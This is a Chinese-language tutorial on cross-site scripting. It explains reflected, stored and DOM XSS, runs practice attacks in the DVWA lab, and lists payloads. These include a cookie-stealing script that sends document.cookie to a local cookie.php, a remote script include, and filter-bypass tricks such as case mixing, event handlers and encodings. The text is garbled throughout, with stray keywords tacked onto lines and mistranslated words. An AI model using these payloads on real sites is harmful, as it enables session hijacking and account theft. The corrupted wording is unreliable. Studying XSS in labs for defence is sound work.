XSS

1.什麼是xssjavascript

XSS攻擊全稱跨站腳本攻擊,是爲不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫爲XSS,XSS是一種在web應用中的計算機安全漏洞,它容許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。php

2.xss原理html

(1).攻擊者對某含有漏洞的服務器發起XSS攻擊(注入JS代碼)java

(2)誘使受害者打開受到攻擊的服務器URL(郵件、留言等,此步驟可選項)web

(3)受害者在Web瀏覽器中打開URL,惡意腳本執行。數據庫

3.xss類型瀏覽器

 (1)反射性:安全

        非持久化,須要欺騙用戶本身去點擊連接才能觸發XSS代碼(服務器中沒有這樣的頁面和內容),通常容易出如今搜索頁面。服務器

 (2)存儲型:cookie

      持久化,代碼是存儲在服務器中的,如在我的信息或發表文章以及留言板等地方,加入代碼,若是沒有過濾或過濾不嚴,那麼這些代碼將儲存到服務器中,用戶訪問該頁面的時候觸發代碼執行。這種XSS比較危險,容易形成蠕蟲,盜竊cookie等

 (3)DOM:

      DOM,全稱Document Object Model,是一個平臺和語言都中立的接口,能夠使程序和腳本可以動態訪問和更新文檔的內容、結構以及樣式。DOM型XSS實際上是一種特殊類型的反射型XSS,它是基於DOM文檔對象模型的一種漏洞。

4.演練(如下練習均在DVWA環境中實現)

    怎麼找到XSS漏洞:

        我的理解:見框就插,由於通常的xss都是存在有文本框的地方。

    常見payload構建:

      <!-- 基本類型 -->

      <script>alert ('xss')</script>
      <script>alert ("xss")</script>
      <script>alert (/xss/)</script>
      <script>alert ('xss');</script>

      <script>alert('document.cookie')</script>  //獲取本地cookie

      <!-- 利用基本事件 -->

      <img src=x onerror=alert(1)> //事件會在文檔或圖像加載過程當中發生錯誤時被觸發
      <img scr=x onload=alert(1)> //圖片正常加載才執行onload
      <img scr=x onclick=alert(1)>//事件會在對象被點擊時發生

      <img scr=x onmouseover=alert(1) > //當鼠標指針移動到圖像上時執行一段 JavaScript:

      <!-- 利用Javascript僞協議 -->

      <iframe src="Javascript:alert(1)"></iframe>

      <!-- XSS獲取cookie -->
      <script>window.open('http://127.0.0.1/cookie.php?cookie='+document.cookie)</script>
      <script src=http://127.0.0.1/test.js></script>

 

  (1).反射性:

      直接在頁面反彈

      payload:<script>alert('xss')</script>

      

      payload:<script>alert(document.cookie)</script> 獲取本地cookie

      

  (2)存儲型

        插到數據庫當中,每次打開都會反彈。大多數存在於留言板。

        payload ; <script>alert('xss')</script>

        

        又插入一個payload:<script>alert('document.cookie')</script>   (兩個都會反彈)

          

   (3).DOM

        屬於反射性

        payload:<script>alert('xss')</script>  (把原來的參數換成本身的payload)

        

 

 

 5.繞過方法  

1.利用<script>標籤
2. 利用html標籤的屬性值
3. 利用空字符
4. 利用事件
onclick 鼠標單擊
onchange 內容發生改變
onerror 圖片等未找到時
onload 頁面加載
onmouseover 鼠標懸停
onmouseout 鼠標移出
onmousemove 鼠標路過
5. 擾亂過濾規則
1)大小寫混合
<sCRipt>alert('xss')</script>
2)引號的使用
<script>alert('xss')</script>
<script>alert("xss")</script>
<script>alert(/xss/)</script>
3)<iframe/src=javascript:alert(1)>
6. 利用字符編碼
1)HTML進制編碼
標籤中的某些屬性值能夠使用html十進制、十六進制表示
2)JavaScript編碼
JavaScript支持unicode、八進制、十六進制、十進制等
3)URL編碼
4)base64編碼

 

6.常見繞過實戰  

      http://www.cnblogs.com/pangya/p/8979211.html

 

        

 

 

                                      關注網絡安全

相關文章
相關標籤/搜索